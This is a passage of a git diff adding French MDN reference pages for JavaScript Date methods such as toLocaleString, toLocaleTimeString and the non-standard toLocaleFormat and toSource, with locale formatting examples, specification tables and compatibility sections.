+// → "24/12/20"
+
+// quand un langage non support est demandé (ex : le balinais)
+// il est possible de fournir un langage de recours (ici l'indonésien)
+alert(date.toLocaleDateString(["ban", "id"]));
+// → "20/12/2012"
+</pre>
+
+<h3 id="Utiliser_l'argument_options">Utiliser l'argument <code>options</code></h3>
+
+<p>Les résultats fournis par <code>toLocaleDateString()</code> peuvent être personnalisés grâce à l'argument <code>options</code> :</p>
+
+<pre class="brush: js">var date = new Date(Date.UTC(2012, 11, 20, 3, 0, 0));
+
+// fournir le jour de la semaine avec une date longe
+var options = {weekday: "long", year: "numeric", month: "long", day: "numeric"};
+alert(date.toLocaleDateString("de-DE", options));
+// → "Donnerstag, 20. Dezember 2012"
+
+// une application peut vouloir utiliser
+// UTC et l'afficher
+options.timeZone = "UTC";
+options.timeZoneName = "short";
+alert(date.toLocaleDateString("en-US", options));
+// → "Thursday, December 20, 2012, GMT"
+</pre>
+
+<h2 id="Performance">Performance</h2>
+
+<p>Lorsque des grands nombres ou de grandes dates sont formatés, il est préférable de créer un objet {{jsxref("DateTimeFormat", "Intl.DateTimeFormat")}} et d'utiliser la fonction fournie par sa propriété {{jsxref("DateTimeFormat.prototype.format", "format")}}.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', 'sec-15.9.5.6', 'Date.prototype.toLocaleDateString')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date.prototype.tolocaledatestring', 'Date.prototype.toLocaleDateString')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-date.prototype.tolocaledatestring', 'Date.prototype.toLocaleDateString')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES Int 1.0', '#sec-13.3.2', 'Date.prototype.toLocaleDateString')}}</td>
+   <td>{{Spec2('ES Int 1.0')}}</td>
+   <td>Définition des arguments <code>locales</code> et <code>options</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES Int 2.0', '#sec-13.3.2', 'Date.prototype.toLocaleDateString')}}</td>
+   <td>{{Spec2('ES Int 2.0')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES Int Draft', '#sec-Date.prototype.toLocaleDateString', 'Date.prototype.toLocaleDateString')}}</td>
+   <td>{{Spec2('ES Int Draft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.Date.toLocaleDateString")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("DateTimeFormat", "Intl.DateTimeFormat")}}</li>
+ <li>{{jsxref("Date.prototype.toLocaleString()")}}</li>
+ <li>{{jsxref("Date.prototype.toLocaleTimeString()")}}</li>
+ <li>{{jsxref("Date.prototype.toString()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/date/tolocaleformat/index.html b/files/fr/web/javascript/reference/objets_globaux/date/tolocaleformat/index.html
new file mode 100644
index 0000000000..70c13e3a25
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/date/tolocaleformat/index.html
@@ -0,0 +1,80 @@
+---
+title: Date.prototype.toLocaleFormat()
+slug: Web/JavaScript/Reference/Objets_globaux/Date/toLocaleFormat
+tags:
+  - Date
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+translation_of: Archive/Web/JavaScript/Date.toLocaleFormat
+---
+<div>{{JSRef}} {{Non-standard_header}}</div>
+
+<p>La méthode non-standard <strong><code>toLocaleFormat()</code></strong> convertit une date en une chaîne de caractères, en utilisant le formatage renseigné. {{jsxref("DateTimeFormat")}} est une alternative standardisée. Voir aussi la nouvelle version de {{jsxref("Date.prototype.toLocaleDateString()")}}.</p>
+
+<div class="warning">
+<p><strong>Attention</strong>, <strong>cette fonction a été  retirée à partir de Firefox 58</strong>. Voir <a href="/fr/docs/Web/JavaScript/Reference/Errors/Deprecated_toLocaleFormat">l'article sur cet avertissement</a> pour plus d'informations et d'éléments pour migrer le code concerné.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>dateObj</var>.toLocaleFormat(formatTexte)</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>formatTexte</code></dt>
+ <dd>Une chaîne de caractères formattée selon les attentes de la fonction <code><a class="external" href="https://www.opengroup.org/onlinepubs/007908799/xsh/strftime.html">strftime()</a></code> en C.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Une chaîne de caractères qui représente la date indiquée avec le formatage décrit par l'argument.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>La méthode <code>toLocaleFormat()</code> apporte un meilleur contrôle sur le formattage des textes produits pour une date. Les noms des mois et des jours de la semaine sont localisés en utilisant la locale du système d'exploitation. Cependant, l'arrangement des jours et mois, ainsi que les autres tâches de localisation ne sont pas prises en charge automatiquement, puisque vous avez le contrôle sur leur ordre d'éxécution. Vous devez faire attention que la chaîne formattée soit localisée correctement en fonction des réglages du systèmes de l'utilisateur. N'oubliez pas que la locale utilisée n'est pas forcément la même que la locale du navigateur.</p>
+
+<p>Les développeurs de modules et XULRunner doivent savoir que charger directement le chaîne de formattage depuis un fichier <code>.dtd</code> ou <code>.properties</code> en utilisant <code><a class="external" rel="freelink">chrome://</a><em>somedomain</em>/locale/</code><em><code>somefile.ext</code></em> doit être <strong>évité</strong>, car le fichier <code>dtd</code>/<code>properties</code> et la méthode <code>toLocaleFormat()</code> n'utilisent pas forcément la même locale, ce qui peut produire des résultats ambigües, ou des dates illisibles.</p>
+
+<p>Notez aussi que le comportement de la locale utilisée dépend de la plateforme, et que l'utilisateur peut modifier cette locale. Ainsi, utiliser la locale du système pour choisir le format, peut dans certains cas ne pas être approprié. Vous devriez envisager l'usage des méthodes plus génériques <code>toLocale*</code> de l'objet {{jsxref("Date")}}, ou créer votre localisation personnalisée de la date à partir des méthodes <code>get*</code> de l'objet <code>Date</code>.</p>
+
+<h2 id="Utiliser_toLocaleFormat()">Utiliser <code>toLocaleFormat()</code></h2>
+
+<pre class="brush: js example-bad">var aujourdhui = new Date();
+var date = aujourdhui.toLocaleFormat("%A, %B %e, %Y"); // A ne pas faire
+</pre>
+
+<p>Dans cet exemple, <code>toLocaleFormat()</code> renvoie une chaîne de caractères tel que "Wednesday, October 3, 2007". Notez que le format de ce texte dans cet exemple n'est pas correctement localisé, ce qui amène aux problèmes décrits plus haut.</p>
+
+<h2 id="Prothèse_d'émulation_(polyfill)">Prothèse d'émulation (<em>polyfill</em>)</h2>
+
+<p>En utilisant la bibliothèque <a href="https://github.com/abritinthebay/datejs/wiki/Format-Specifiers">DateJS</a>, il est possible d'émuler {{jsxref("Date.prototype.toLocaleDateString()")}} pour des environnements qui n'en disposent pas nativement :</p>
+
+<pre class="brush: js">if (!Date.prototype.toLocaleFormat) {
+    (function() {
+        Date.prototype.toLocaleFormat = function(formatString) {
+            return this.format(formatString);
+        };
+    }());
+}</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Ne fait partie d'aucune spécification. Implémentée avec JavaScript 1.6.</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.Date.toLocaleFormat")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("DateTimeFormat", "Intl.DateTimeFormat")}}</li>
+ <li>{{jsxref("Date.prototype.toLocaleString()")}}</li>
+ <li>{{jsxref("Date.prototype.toLocaleDateString()")}}</li>
+ <li>{{jsxref("Date.prototype.toLocaleTimeString()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/date/tolocalestring/index.html b/files/fr/web/javascript/reference/objets_globaux/date/tolocalestring/index.html
new file mode 100644
index 0000000000..7ff28d169a
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/date/tolocalestring/index.html
@@ -0,0 +1,204 @@
+---
+title: Date.prototype.toLocaleString()
+slug: Web/JavaScript/Reference/Objets_globaux/Date/toLocaleString
+tags:
+  - Date
+  - Internationalisation
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+  - i18n
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/toLocaleString
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>toLocaleString()</strong></code> renvoie une chaine de caractères représentant la date selon une locale. Les arguments <code>locales</code> et <code>options</code> permettent aux applications de définir le langage à utiliser pour les conventions de format et permettent de personnaliser le comportement de la fonction. Les anciennes implémentations ignorent ces arguments, la locale utilisée et le format de la chaine dépendent uniquement de l'implémentation.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/date-tolocalestring.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>dateObj.toLocaleString([locales [, options]])</var></pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<p>Voir le tableau de <a href="#compat" title="#Compatibilit.C3.A9_des_navigateurs">compatibilité des navigateurs</a> afin de déterminer quels navigateurs respectent les arguments <code>locales</code> et <code>options</code> ainsi que l'exemple <a href="#check">Vérifier le support des arguments <code>locales</code> et <code>options</code></a> qui permet de détecter cette fonctionnalité.</p>
+
+<p>{{page('fr/docs/Web/JavaScript/Reference/Objets_globaux/DateTimeFormat','Paramètres')}}</p>
+
+<p>La valeur par défaut de chacun des composants de la date-heure vaut {{jsxref("undefined")}}, mais si les propriétés <code>weekday</code>, <code>year</code>, <code>month</code>, <code>day</code>, <code>hour</code>, <code>minute</code>, <code>second</code> sont toutes {{jsxref("undefined")}},  alors  <code>weekday</code>, <code>year</code>, <code>month</code>, <code>day</code>, <code>hour</code>, <code>minute</code> et <code>second</code> sont supposés être "numeric".</p>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Une chaîne de caractères représentant la date indiquée selon des conventions de locales spécifiques.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_toLocaleString()">Utiliser <code>toLocaleString()</code></h3>
+
+<p>Voici un usage simple qui ne définit pas de locale : une chaine de caractères dans une locale et avec des options par défaut est renvoyée.</p>
+
+<pre class="brush:js">var date = new Date(Date.UTC(2014, 11, 21, 3, 0, 0));
+
+// toLocaleString() sans argument, on utilise donc
+// les valeurs par défaut (de l'implémentation)
+// pour la locale, et le fuseau horaire
+date.toLocaleString();
+// → "21/12/2014 04:00:00" si exécuté dans une locale fr et le fuseau horaire CEST</pre>
+
+<h3 id="Vérifier_le_support_des_arguments_locales_et_options"><a id="check" name="check">Vérifier le support des arguments <code>locales</code> et <code>options</code></a></h3>
+
+<p>Les arguments <code>locales</code> et <code>options</code> ne sont pas encore supportés par tous les navigateurs. Afin de vérifier si l'implementation utilisée les supporte, vous pouvez utiliser le pré-requis suivant : les locales incorrectes sont rejetées avec une exception {{jsxref("RangeError")}} :</p>
+
+<pre class="brush: js">function toLocaleStringSupportsLocales() {
+    try {
+        new Date().toLocaleString("i");
+    } catch (e) {
+        return e​ instanceof RangeError;
+    }
+    return false;
+}
+</pre>
+
+<h3 id="Utiliser_locales">Utiliser <code>locales</code></h3>
+
+<p>Cet exemple montre quelques variations dues aux formats de dates localisés. Afin d'obtenir le langage utilisé au sein de l'interface utilisateur de votre application, vérifiez de bien fournir ce langage (et éventuellement des locales de recours) en utilisant l'argument <code>locales</code> :</p>
+
+<pre class="brush: js">var date = new Date(Date.UTC(2012, 11, 20, 3, 0, 0));
+
+// les formats qui suivent se basent sur le
+// fuseau horaire CEST
+
+l'anglais américain utilise l'ordre mois-jour-année
+console.log(date.toLocaleString("en-US"));
+// → "12/20/2012, 4:00:00 AM"
+
+// l'anglais britannique utilise l'ordre jour-mois-année
+console.log(date.toLocaleString("en-GB"));
+// → "20/12/2012 04:00:00"
+
+// le coréen utilise l'ordre année-mois-jour
+console.log(date.toLocaleString("ko-KR"));
+// → "2012. 12. 20. 오전 4:00:00"
+
+// l'arabe, dans la plupart des pays arabophones, utilise les chiffres arabes
+console.log(date.toLocaleString("ar-EG"));
+// → "٢٠‏/١٢‏/٢٠١٢ ٤:٠٠:٠٠ ص"
+
+// en ce qui concerne le japonais, les applications peuvent
+// souhaiter utiliser le calendrier japonais
+// pour lequel 2012 était l'année 24 de l'ère Heisei
+console.log(date.toLocaleString("ja-JP-u-ca-japanese"));
+// → "24/12/20 4:00:00"
+
+// quand un langage non support est demandé (ex : le balinais)
+// il est possible de fournir un langage de recours (ici l'indonésien)
+console.log(date.toLocaleString(["ban", "id"]));
+// → "20/12/2012 04.00.00"
+</pre>
+
+<h3 id="Utiliser_options">Utiliser <code>options</code></h3>
+
+<p>Les résultats fournis par <code>toLocaleString()</code> peuvent être personnalisés grâce à l'argument <code>options</code> :</p>
+
+<pre class="brush: js">var date = new Date(Date.UTC(2012, 11, 20, 3, 0, 0));
+
+// obtenir le jour de la semaine avec une date longue
+var options = {weekday: "long", year: "numeric", month: "long", day: "numeric"};
+console.log(date.toLocaleString("de-DE", options));
+// → "Donnerstag, 20. Dezember 2012"
+
+// une application peut vouloir utiliser UTC et le rendre visible
+options.timeZone = "UTC";
+options.timeZoneName = "short";
+console.log(date.toLocaleString("en-US", options));
+// → "Thursday, December 20, 2012, GMT"
+
+// parfois, même les USA ont besoin d'avoir une heure sur 24h
+console.log(date.toLocaleString("en-US", {hour12: false}));
+// → "12/19/2012, 19:00:00"
+</pre>
+
+<h3 id="Comparaison_des_dates_formatées_et_des_valeurs_statiques">Comparaison des dates formatées et des valeurs statiques</h3>
+
+<p>La plupart du temps, le format renvoyé par <code>toLocaleString()</code> est cohérent. Toutefois, cela peut évoluer à l'avenir et n'est pas garanti pour l'ensemble des langues (de telles variations sont souhaitables et permises par la spécification). Ainsi, IE et Edge ajoutent des caractères de contrôle bidirectionnels autour des dates afin que le texte produit ait une directionalité cohérente avec le texte avec lequel elles seront concaténées.</p>
+
+<p>Aussi, mieux vaut ne pas comparer un résultat fourni par <code>format()</code> avec une valeur statique :</p>
+
+<pre class="brush: js; example-bad">"1.1.2019, 01:00:00" === new Date("2019-01-01T00:00:00.000000Z").toLocaleString();
+// true pour Firefox et les autres
+// false pour IE et Edge
+</pre>
+
+<div class="blockIndicator note">
+<p><strong>Note :</strong> Voir aussi ce fil <a href="https://stackoverflow.com/questions/25574963/ies-tolocalestring-has-strange-characters-in-results">StackOverflow</a> pour plus de détails et d'exemples.</p>
+</div>
+
+<h2 id="Performance">Performance</h2>
+
+<p>Quand vous formatez d'importants volumes de dates, il est préférable de créer un objet {{jsxref("DateTimeFormat", "Intl.DateTimeFormat")}} et d'utiliser la fonction fournie via la propriété {{jsxref("DateTimeFormat.prototype.format", "format")}}.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.9.5.5', 'Date.prototype.toLocaleString')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date.prototype.tolocalestring', 'Date.prototype.toLocaleString')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-date.prototype.tolocalestring', 'Date.prototype.toLocaleString')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES Int 1.0', '#sec-13.3.1', 'Date.prototype.toLocaleString')}}</td>
+   <td>{{Spec2('ES Int 1.0')}}</td>
+   <td>Définition des arguments <code>locales</code> et <code>options</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES Int 2.0', '#sec-13.3.1', 'Date.prototype.toLocaleString')}}</td>
+   <td>{{Spec2('ES Int 2.0')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES Int Draft', '#sec-Date.prototype.toLocaleString', 'Date.prototype.toLocaleString')}}</td>
+   <td>{{Spec2('ES Int Draft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Les données de compatibilité de cette page ont été générées à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une<em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.Date.toLocaleString")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("DateTimeFormat", "Intl.DateTimeFormat")}}</li>
+ <li>{{jsxref("Date.prototype.toLocaleDateString()")}}</li>
+ <li>{{jsxref("Date.prototype.toLocaleTimeString()")}}</li>
+ <li>{{jsxref("Date.prototype.toString()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/date/tolocaletimestring/index.html b/files/fr/web/javascript/reference/objets_globaux/date/tolocaletimestring/index.html
new file mode 100644
index 0000000000..c0c6c93020
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/date/tolocaletimestring/index.html
@@ -0,0 +1,178 @@
+---
+title: Date.prototype.toLocaleTimeString()
+slug: Web/JavaScript/Reference/Objets_globaux/Date/toLocaleTimeString
+tags:
+  - Date
+  - Internationalisation
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+  - i18n
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/toLocaleTimeString
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>toLocaleTimeString()</strong></code> renvoie une chaine de caractères correspondant à l'heure dans la date, exprimée selon une locale. Les arguments <code>locales</code> et <code>options</code> permettent aux applications de définir le langage utilisé pour les conventions de format et permettent de personnaliser le comportement de la fonction. Les anciennes implémentations ignorent ces arguments, la locale utilisée et le format de la chaine dépendent uniquement de l'implémentation.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/date-tolocaletimestring.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>dateObj</var>.toLocaleTimeString([locales [, options]])</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<p>Voir le tableau de <a href="#compat" title="#Compatibilit.C3.A9_des_navigateurs">compatibilité des navigateurs</a> afin de déterminer quels navigateurs respectent les arguments <code>locales</code> et <code>options</code> ainsi que l'exemple <a href="#check">Vérifier le support des arguments <code>locales</code> et <code>options</code></a> qui permet de détecter cette fonctionnalité.</p>
+
+<p>{{page('fr/docs/Web/JavaScript/Reference/Objets_globaux/DateTimeFormat','Param.C3.A8tres')}}</p>
+
+<p>La valeur par défaut de chacun des composants de la date vaut {{jsxref("undefined")}}, si les propriétés <code>hour</code>, <code>minute</code>, <code>second</code> sont toutes <code>undefined</code>, on suppose alors que <code>hour</code>, <code>minute</code>, et <code>second</code> sont "numeric".</p>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Une chaîne de caractères qui représente l'heure de la date indiquée selon des conventions de locales spécifiques.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_toLocaleTimeString()">Utiliser <code>toLocaleTimeString()</code></h3>
+
+<p>Voici un usage simple qui ne définit pas de locale : une chaine de caractères dans une locale et avec des options par défaut est renvoyée.</p>
+
+<pre class="brush:js">var date = new Date(Date.UTC(2012, 11, 12, 3, 0, 0));
+
+// toLocaleTimeString() sans argument, on utilise donc
+// les valeurs par défaut (de l'implémentation)
+// pour la locale, et le fuseau horaire
+console.log(date.toLocaleTimeString());
+// → "04:00:00" si exécuté dans une locale fr et le fuseau horaire CEST</pre>
+
+<h3 id="Vérifier_le_support_des_arguments_locales_et_options"><a id="check" name="check">Vérifier le support des arguments <code>locales</code> et <code>options</code></a></h3>
+
+<p>Les arguments <code>locales</code> et <code>options</code> ne sont pas encore supportés par tous les navigateurs. Afin de vérifier si l'implementation utilisée les supporte, vous pouvez utiliser le pré-requis suivant : les locales incorrectes sont rejetées avec une exception<code> RangeError</code> :</p>
+
+<pre class="brush: js">function toLocaleTimeStringSupportsLocales() {
+    try {
+        new Date().toLocaleTimeString("i");
+    } catch (e) {
+        return e​.name === "RangeError";
+    }
+    return false;
+}
+</pre>
+
+<h3 id="Utiliser_locales">Utiliser <code>locales</code></h3>
+
+<p>Cet exemple montre quelques variations dues aux formats de dates localisés. Afin d'obtenir le langage utilisé au sein de l'interface utilisateur de votre application, vérifiez de bien fournir ce langage (et éventuellement des locales de recours) en utilisant l'argument <code>locales</code> :</p>
+
+<pre class="brush: js">var date = new Date(Date.UTC(2012, 11, 20, 3, 0, 0));
+
+// les formats qui suivent se basent sur le
+// fuseau horaire CEST
+
+// l'anglais américain utilise une heure sur 12h avec AM/PM
+console.log(date.toLocaleTimeString("en-US"));
+// → "4:00:00 AM"
+
+// l'anglais britanique utilise une heure sur 24h
+console.log(date.toLocaleTimeString("en-GB"));
+// → "04:00:00"
+
+// le coréen  utilise une heure sur 12h avec AM/PM
+console.log(date.toLocaleTimeString("ko-KR"));
+// → "오전 4:00:00"
+
+/ l'arabe, dans la plupart des pays arabophones, utilise les chiffres arabes
+console.log(date.toLocaleTimeString("ar-EG"));
+// → "٤:٠٠:٠٠ ص"
+
+// quand un langage non support est demandé (ex : le balinais)
+// il est possible de fournir un langage de recours (ici l'indonésien)
+console.log(date.toLocaleTimeString(["ban", "id"]));
+// → "4.00.00"
+</pre>
+
+<h3 id="Utiliser_options">Utiliser <code>options</code></h3>
+
+<p>Les résultats fournis par <code>toLocaleTimeString()</code> peuvent être personnalisés grâce à l'argument <code>options</code> :</p>
+
+<pre class="brush: js">var date = new Date(Date.UTC(2012, 11, 20, 3, 0, 0));
+
+// une application peut vouloir utiliser UTC et le montrer
+var options = {timeZone: "UTC", timeZoneName: "short"};
+console.log(date.toLocaleTimeString("en-US", options));
+// → "3:00:00 AM GMT"
+
+// parfois, même les USA ont besoin du format sur 24h
+console.log(date.toLocaleTimeString("en-US", {hour12: false}));
+// → "19:00:00"
+</pre>
+
+<h2 id="Performance">Performance</h2>
+
+<p>Pour formater de nombreuses dates, il est préférable de créer un objet {{jsxref("DateTimeFormat", "Intl.DateTimeFormat")}} et d'utiliser la fonction fournie par sa propriété {{jsxref("DateTimeFormat.prototype.format", "format")}}.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.9.5.7', 'Date.prototype.toLocaleTimeString')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date.prototype.tolocalestring', 'Date.prototype.toLocaleTimeString')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-date.prototype.tolocalestring', 'Date.prototype.toLocaleTimeString')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES Int 1.0', '#sec-13.3.3', 'Date.prototype.toLocaleTimeString')}}</td>
+   <td>{{Spec2('ES Int 1.0')}}</td>
+   <td>Définition des arguments <code>locales</code> et <code>options</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES Int 2.0', '#sec-13.3.3', 'Date.prototype.toLocaleTimeString')}}</td>
+   <td>{{Spec2('ES Int 2.0')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES Int Draft', '#sec-Date.prototype.toLocaleTimeString', 'Date.prototype.toLocaleTimeString')}}</td>
+   <td>{{Spec2('ES Int Draft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs"><a id="compat" name="compat">Compatibilité des navigateurs</a></h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.Date.toLocaleTimeString")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("DateTimeFormat", "Intl.DateTimeFormat")}}</li>
+ <li>{{jsxref("Date.prototype.toLocaleDateString()")}}</li>
+ <li>{{jsxref("Date.prototype.toLocaleString()")}}</li>
+ <li>{{jsxref("Date.prototype.toTimeString()")}}</li>
+ <li>{{jsxref("Date.prototype.toString()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/date/tosource/index.html b/files/fr/web/javascript/reference/objets_globaux/date/tosource/index.html
new file mode 100644
index 0000000000..9f153778cb
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/date/tosource/index.html
@@ -0,0 +1,57 @@
+---
+title: Date.prototype.toSource()
+slug: Web/JavaScript/Reference/Objets_globaux/Date/toSource
+tags:
+  - Date
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/toSource
+---
+<div>{{JSRef}} {{Non-standard_header}}</div>
+
+<p>La méthode <code><strong>toSource()</strong></code> renvoie une chaîne de caractères représentant le code source de l'objet.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>dateObj</var>.toSource()
+Date.toSource()</pre>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Une chaîne de caractères représentant le code source de l'objet date indiqué.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>La méthode <code>toSource()</code> renvoie les valeur suivantes :</p>
+
+<ul>
+ <li>Pour l'objet natif {{jsxref("Date")}}, <code>toSource()</code> renvoie la chaîne de caractères suivante, indiquant que le code source n'est pas disponible :</li>
+</ul>
+
+<pre class="brush: js">function Date() {
+    [native code]
+}</pre>
+
+<ul>
+ <li>Pour les instances de {{jsxref("Date")}}, <code>toSource()</code> renvoie une chaîne de caractères représentant le code source.</li>
+</ul>
+
+<p>Cette méthode est habituellement appelée en interne par le moteur JavaScript et non explicitement dans le code d'un script.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Ne fait partie d'aucune spécification. Implémentée dans JavaScript 1.3.</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.Date.toSource")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Object.prototype.toSource()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/date/tostring/index.html b/files/fr/web/javascript/reference/objets_globaux/date/tostring/index.html
new file mode 100644
index 0000000000..82fd8dfb5e
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/date/tostring/index.html
@@ -0,0 +1,135 @@
+---
+title: Date.prototype.toString()
+slug: Web/JavaScript/Reference/Objets_globaux/Date/toString
+tags:
+  - Date
+  - JavaScript
